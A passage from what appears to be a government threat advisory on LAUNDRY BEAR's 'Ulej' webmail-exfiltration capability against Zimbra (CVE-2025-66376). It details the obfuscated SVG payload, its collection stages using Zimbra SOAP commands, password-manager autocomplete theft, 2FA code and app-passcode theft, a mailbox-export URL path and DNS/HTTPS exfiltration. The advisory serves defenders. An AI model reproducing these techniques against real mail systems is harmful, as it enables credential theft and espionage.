<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
